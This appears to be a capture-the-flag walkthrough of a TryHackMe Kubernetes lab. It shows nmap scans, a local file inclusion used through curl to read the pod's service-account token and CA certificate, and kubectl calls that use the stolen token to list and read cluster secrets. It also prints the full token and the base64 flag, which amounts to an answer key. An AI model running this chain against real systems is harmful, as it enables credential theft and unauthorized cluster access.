Island Orchestration TryHackMe Writeup
Island Orchestration is a medium rated room in Tryhackme by tryhackme, cmnatic, timtaylor and congon4tor. Using the LFI on the webserver, we grab the token for the serviceaccount of the pod running inside a k8s cluster and using that token we read the flag.
Nmap Scan
Full Port Scan
┌──(kali㉿kali)-[~/ctf/thm/islandorchestration]
└─$ cat nmap/allports
# Nmap 7.91 scan initiated Mon Jul 11 12:51:59 2022 as: nmap -p- --min-rate 1000 -v -oN nmap/allports 10.10.168.77
Nmap scan report for 10.10.168.77
Host is up (0.37s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8443/tcp open https-alt
Read data files from: /usr/bin/../share/nmap
# Nmap done at Mon Jul 11 12:53:11 2022 -- 1 IP address (1 host up) scanned in 72.46 seconds
We have 3 ports open. SSH is running on port 22, webserver is running on port 80 and an unknown service is running on port 8443.
Detailed Nmap Scan
┌──(kali㉿kali)-[~/ctf/thm/islandorchestration]
└─$ cat nmap/detail
# Nmap 7.91 scan initiated Mon Jul 11 14:10:43 2022 as: nmap -sC -sV -oN nmap/detail -p22,80,8443 10.10.168.77
Nmap scan report for 10.10.168.77
Host is up (0.30s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9f:ae:04:9e:f0:75:ed:b7:39:80:a0:d8:7f:bd:61:06 (RSA)
| 256 cf:cb:89:62:99:11:d7:ca:cd:5b:57:78:10:d0:6c:82 (ECDSA)
|_ 256 5f:11:10:0d:7c:80:a3:fc:d1:d5:43:4e:49:f9:c8:d2 (ED25519)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Best tropical islands
8443/tcp open ssl/https-alt
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: 54ad33cc-fb53-4c4f-9690-704b7480d7c4
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: a5c8dc51-1beb-4524-9996-fcbdf17ad8d9
| X-Kubernetes-Pf-Prioritylevel-Uid: 9a40dace-d4fe-4ce4-8625-787c338bd84b
| Date: Mon, 11 Jul 2022 08:26:00 GMT
| Content-Length: 212
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/nice ports,/Trinity.txt.bak"","reason":"Forbidden","details":{},"code":403}
| GetRequest:
| HTTP/1.0 403 Forbidden
| Audit-Id: e1437a2c-7185-4552-b9d7-600c1671efa5
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: a5c8dc51-1beb-4524-9996-fcbdf17ad8d9
| X-Kubernetes-Pf-Prioritylevel-Uid: 9a40dace-d4fe-4ce4-8625-787c338bd84b
| Date: Mon, 11 Jul 2022 08:25:57 GMT
| Content-Length: 185
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
| HTTPOptions:
| HTTP/1.0 403 Forbidden
| Audit-Id: 251bee7d-63c7-47d3-825a-4bb109030a48
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| X-Kubernetes-Pf-Flowschema-Uid: a5c8dc51-1beb-4524-9996-fcbdf17ad8d9
| X-Kubernetes-Pf-Prioritylevel-Uid: 9a40dace-d4fe-4ce4-8625-787c338bd84b
| Date: Mon, 11 Jul 2022 08:25:58 GMT
| Content-Length: 189
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
|_http-title: Site doesn't have a title (application/json).
| ssl-cert: Subject: commonName=minikube/organizationName=system:masters
| Subject Alternative Name: DNS:minikubeCA, DNS:control-plane.minikube.internal, DNS:kubernetes.default.svc.cluster.local, DNS:kubernetes.default.svc, DNS:kubernetes.default, DNS:kubernetes, DNS:localhost, IP Address:192.168.49.2, IP Address:10.96.0.1, IP Address:127.0.0.1, IP Address:10.0.0.1
| Not valid before: 2022-01-05T23:39:08
|_Not valid after: 2025-01-05T23:39:08
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
|_ http/1.1
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8443-TCP:V=7.91%T=SSL%I=7%D=7/11%Time=62CBDE95%P=aarch64-unknown-li
SF:nux-gnu%r(GetRequest,22F,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x2
SF:0e1437a2c-7185-4552-b9d7-600c1671efa5\r\nCache-Control:\x20no-cache,\x2
SF:0private\r\nContent-Type:\x20application/json\r\nX-Content-Type-Options
SF::\x20nosniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20a5c8dc51-1beb-4524-9
SF:996-fcbdf17ad8d9\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x209a40dace-d4fe
SF:-4ce4-8625-787c338bd84b\r\nDate:\x20Mon,\x2011\x20Jul\x202022\x2008:25:
SF:57\x20GMT\r\nContent-Length:\x20185\r\n\r\n{\"kind\":\"Status\",\"apiVe
SF:rsion\":\"v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"for
SF:bidden:\x20User\x20\\\"system:anonymous\\\"\x20cannot\x20get\x20path\x2
SF:0\\\"/\\\"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}\n")%
SF:r(HTTPOptions,233,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x20251bee
SF:7d-63c7-47d3-825a-4bb109030a48\r\nCache-Control:\x20no-cache,\x20privat
SF:e\r\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\x20no
SF:sniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20a5c8dc51-1beb-4524-9996-fcb
SF:df17ad8d9\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x209a40dace-d4fe-4ce4-8
SF:625-787c338bd84b\r\nDate:\x20Mon,\x2011\x20Jul\x202022\x2008:25:58\x20G
SF:MT\r\nContent-Length:\x20189\r\n\r\n{\"kind\":\"Status\",\"apiVersion\"
SF::\"v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidden:
SF:\x20User\x20\\\"system:anonymous\\\"\x20cannot\x20options\x20path\x20\\
SF:\"/\\\"\",\"reason\":\"Forbidden\",\"details\":{},\"code\":403}\n")%r(F
SF:ourOhFourRequest,24A,"HTTP/1\.0\x20403\x20Forbidden\r\nAudit-Id:\x2054a
SF:d33cc-fb53-4c4f-9690-704b7480d7c4\r\nCache-Control:\x20no-cache,\x20pri
SF:vate\r\nContent-Type:\x20application/json\r\nX-Content-Type-Options:\x2
SF:0nosniff\r\nX-Kubernetes-Pf-Flowschema-Uid:\x20a5c8dc51-1beb-4524-9996-
SF:fcbdf17ad8d9\r\nX-Kubernetes-Pf-Prioritylevel-Uid:\x209a40dace-d4fe-4ce
SF:4-8625-787c338bd84b\r\nDate:\x20Mon,\x2011\x20Jul\x202022\x2008:26:00\x
SF:20GMT\r\nContent-Length:\x20212\r\n\r\n{\"kind\":\"Status\",\"apiVersio
SF:n\":\"v1\",\"metadata\":{},\"status\":\"Failure\",\"message\":\"forbidd
SF:en:\x20User\x20\\\"system:anonymous\\\"\x20cannot\x20get\x20path\x20\\\
SF:"/nice\x20ports,/Trinity\.txt\.bak\\\"\",\"reason\":\"Forbidden\",\"det
SF:ails\":{},\"code\":403}\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 11 14:12:56 2022 -- 1 IP address (1 host up) scanned in 133.12 seconds
Here are the findings from the Nmap result.
- HTTP Webserver is running on port 8433 with TLS enabled.
- From the Subject Alternate Name, we know that this is the certificate for kubeapi server which is a component of a kubernetes cluster.
- Anonymous login is not enabled.
Since there is very little attack surface for SSH and anonymous login is disabled for the kubeapi server, let us start our enumeration with HTTP service on port 80.
Enumerating Web Service running on Port 80
While clicking around, I noticed that the index.php
was accepting a GET parameter page to load other pages.
Testing if the parameter page is vulnerable to LFI
It turns out it was vulnerable to LFI. But it turns out it was very restrictive. I was unable to use any PHP wrappers to read the content of the PHP files. As there was only one root user on the /etc/passwd
file made me think if I were in a docker container.
Enumerating Files
Making sure we are inside a docker container
In usual host, process 1 is always init
or systemd
which is the parent process of all processes. Following is the output of the same file /proc/1/cmdline
on my local kali machine.
┌──(kali㉿kali)-[~/ctf/thm/islandorchestration]
└─$ cat /proc/1/cmdline
/sbin/init splash
Since the process 1 on the webserver is apache, it is definitely a docker container. Since this is a pod in a kubernetes cluster, we won’t be able to get RCE by using log poisioning since everything will be written to /dev/stdout
.
Failed Attempts
- Trying to SSH keys for root user since SSH was enabled on the machine but after checking
/proc/net/tcp
, SSH was not enabled on the container and it would not have mattered as all the logs are written to/dev/stdout
- Trying to read
~/.kube/config
from root user and www-data user’s home directory but were not present on the container - Trying to read
/var/log/apache2/logs/access.log
but was not present. - Trying to include file from remote server and get code execution but was not possible
- Read the code using PHP filter but was not possible
After trying so many things to escalate LFI to RCE, one thing struck my mind which is serviceaccounts. Each and every deployment in kubernetes uses a service account. If nothing is specified, a default service account is used which do have very minimal privileges by default but we can always add permission to the default service account and the token for these serviceaccounts is always mounted inside the container.
Mounted serviceaccount tokens
If we check the content of /proc/mounts
, we can see that the service account tokens is mounted on /run/secrets/kubernetes.io/serviceaccount
This path contains 3 files: ca.crt
, token
and namespace. Let us download the contents of all 3 files.
Ca.crt
──(kali㉿kali)-[~/ctf/thm/islandorchestration/values]
└─$ curl -s http://10.10.228.155/?page=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt -q | grep 'card-body' -A20
<div class="card-body">
-----BEGIN CERTIFICATE-----
MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p
a3ViZUNBMB4XDTIyMDEwNTIwMTgyM1oXDTMyMDEwNDIwMTgyM1owFTETMBEGA1UE
AxMKbWluaWt1YmVDQTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN1T
YzgsOlboYP3wxW+9b0dT2XhSqCJAk4D/IVxFC/sVBTf1mePaqSRyeIsGY1TiOzY1
T1V0CMavDKWhaG8SdnRbPT/pDoVLKv+HFgpurh5m8nTJoEIQIrM30zGzwQ+sVMZJ
e5IqqfaHw7eBVBWfex5wmtJ1BhKDUJlG4cNrEDi+z29qD8OZVQxuKsYtvym87SZA
UZf6hbsUqIXhP6m1DOJGrTr0hEy6CsfCm78DH6oZtpLzMtRSP1gYDu6KrpyeOWz3
4jdKX+CRmprp/95JSJPbZ9luYpdCjgzAKZkWKgaPnGpoO6TZrTwacjvu0qTFk8cq
AxzBkH0huspRGDEIUhcCAwEAAaNhMF8wDgYDVR0PAQH/BAQDAgKkMB0GA1UdJQQW
MBQGCCsGAQUFBwMCBggrBgEFBQcDATAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQW
BBTwCj9T5f5vOQrHkAJ01N5+hYMuEDANBgkqhkiG9w0BAQsFAAOCAQEAb7I4l8LQ
++Xy+Dcvj8YW9GenU3W76no9YbATK/NtqOemru21I8yD42x12UZ7xCovn5ea1MCg
tP8y+oSAQdoOt8JO2GrD/7xy64yfLJ5hqYUiJz6BCOF1576kQZI0JwB6XCXSZSwh
Jw8dcrsOMQsxOf6QdoyZ2zNUCknMm3hpUEF8xwQmWL7uo+C0EGpSJvlOKHVbZh3e
SGKvzvk7GSKTJF5FgI4G8X5/JVmDdN9Mk3kl8PKFNP6SGAIWolFMsA9iCxou1Apa
5zfKX918bnNqKmDFIJOdjadvOl8oNcCg1GaA4htOV+sFk3zxCNNGW3i+c97J1EQm
VeBlHLi+W+gtHw==
-----END CERTIFICATE-----
--
Token
┌──(kali㉿kali)-[~/ctf/thm/islandorchestration/values]
└─$ curl -s http://10.10.228.155/?page=/var/run/secrets/kubernetes.io/serviceaccount/token -q | grep 'card-body' -A20
<div class="card-body">
eyJhbGciOiJSUzI1NiIsImtpZCI6Im82QU1WNV9qNEIwYlV3YnBGb1NXQ25UeUtmVzNZZXZQZjhPZUtUb21jcjQifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxNjg5MDc0OTM4LCJpYXQiOjE2NTc1Mzg5MzgsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJpc2xhbmRzLTc2NTViNzc0OWYtenZxNTIiLCJ1aWQiOiJiMzEwNjkyMS00OTBhLTQ3NjctOGQ1OS03MmY2NjkxYmY5YzAifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6ImlzbGFuZHMiLCJ1aWQiOiI5OTIzOTA1OS00ZjZjLTQwNmItODI5NC01YTU1ZmJjMTQzYjAifSwid2FybmFmdGVyIjoxNjU3NTQyNTQ1fSwibmJmIjoxNjU3NTM4OTM4LCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDppc2xhbmRzIn0.Jrz33AEhPCUc6bELuk4GFBv2kENva-IrcrPNq_a4iJM0S6eZOiZhjcwiqR2z28XiTHSAfE3R2Vnc2-9lPKoZpWursUo3Hvgm7UOkbV1gTLAFT4PTOux-ZVkZedExk7rDFNko02KEFUo7zKZPSy2-PUeoUxxcdvOiGM4CrARTOUT4zgJbVH4FKQNHkeS64VFvG3H8k9V4b4O2ta3dVHiMsn7AZFAR9x1Xyee5obIp40dnIesTAujPQxLZRI4q7ljepXzkysa7__YOQtZdH2YdzEDntQvQvBrsfmWUW77-Qz37iqFTbcAe6_wMKrzoGANG3-q7KcWSQlcyfxKpQHhxJQ </div>
</div>
</div>
Namespace
┌──(kali㉿kali)-[~/ctf/thm/islandorchestration/values]
└─$ curl -s http://10.10.228.155/?page=/var/run/secrets/kubernetes.io/serviceaccount/namespace -q | grep 'card-body' -A5
<div class="card-body">
default </div>
</div>
The namespace is default.
Since we have the token and the kube-api server is publicly reachable, let us use this token to authenticate againist the cluster impersonating the serviceaccount. For this we need kubectl which is already installed on my box. If you do not have on your machine, check this link to download it.
Trying to contact the server
┌──(kali㉿kali)-[~/ctf/thm/islandorchestration/values]
└─$ kubectl --token=`cat token` --namespace=default --server=https://10.10.228.155:8443 get pods
Unable to connect to the server: x509: certificate is valid for 192.168.49.2, 10.96.0.1, 127.0.0.1, 10.0.0.1, not 10.10.228.155
It says the certificate is only valid for the given IPs.
After some googling, I came to know that we can bypass the TLS checks using --insecure-skip-tls-verify
.
Trying to list the pods
┌──(kali㉿kali)-[~/ctf/thm/islandorchestration/values]
└─$ kubectl --token=`cat token` --insecure-skip-tls-verify --namespace=default --server=https://10.10.228.155:8443 get pods 130 ⨯
Error from server (Forbidden): pods is forbidden: User "system:serviceaccount:default:islands" cannot list resource "pods" in API group "" in the namespace "default"
This time we are successfully authenticated but we are not authorized to list the pods on the default namespace. Let us check the privileges for this serviceaccount.
Checking the privileges of the service account
┌──(kali㉿kali)-[~/ctf/thm/islandorchestration/values]
└─$ kubectl --token=`cat token` --insecure-skip-tls-verify --namespace=default --server=https://10.10.228.155:8443 auth can-i --list 1 ⨯
Resources Non-Resource URLs Resource Names Verbs
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
secrets [] [] [get list]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
One interesting privilege is that this serviceaccount can list and get secrets which means it can list it and read it. So, let us try and list the secrets.
Listing secrets
┌──(kali㉿kali)-[~/ctf/thm/islandorchestration/values]
└─$ kubectl --token=`cat token` --insecure-skip-tls-verify --namespace=default --server=https://10.10.228.155:8443 get secrets 1 ⨯
NAME TYPE DATA AGE
default-token-8bksk kubernetes.io/service-account-token 3 185d
flag Opaque 1 130d
islands-token-dtrnt kubernetes.io/service-account-token 3 130d
Reading the secret
┌──(kali㉿kali)-[~/ctf/thm/islandorchestration/values]
└─$ kubectl --token=`cat token` --insecure-skip-tls-verify --namespace=default --server=https://10.10.228.155:8443 get secrets flag -o yaml
apiVersion: v1
data:
flag: ZmxhZ3swOGJlZDlmYzBiYzZkOTRmZmY5ZTUxZjI5MTU3Nzg0MX0=
kind: Secret
metadata:
annotations:
kubectl.kubernetes.io/last-applied-configuration: |
{"apiVersion":"v1","data":{"flag":"ZmxhZ3************Nzg0MX0="},"kind":"Secret","metadata":{"annotations":{},"name":"flag","namespace":"default"},"type":"Opaque"}
creationTimestamp: "2022-03-02T19:47:07Z"
name: flag
namespace: default
resourceVersion: "7072"
uid: 750ac081-742f-4594-a6f4-8fa3e1bbceb7
type: Opaque
We are successfully able to read the secret. K8s secrets are always base64 encoded, so we have to decode them to get the real content.
Decoding base64 string
┌──(kali㉿kali)-[~/ctf/thm/islandorchestration/values]
└─$ echo -n ZmxhZ3***************TU3Nzg0MX0= | base64 -d 1 ⨯
flag{08bed*************7841}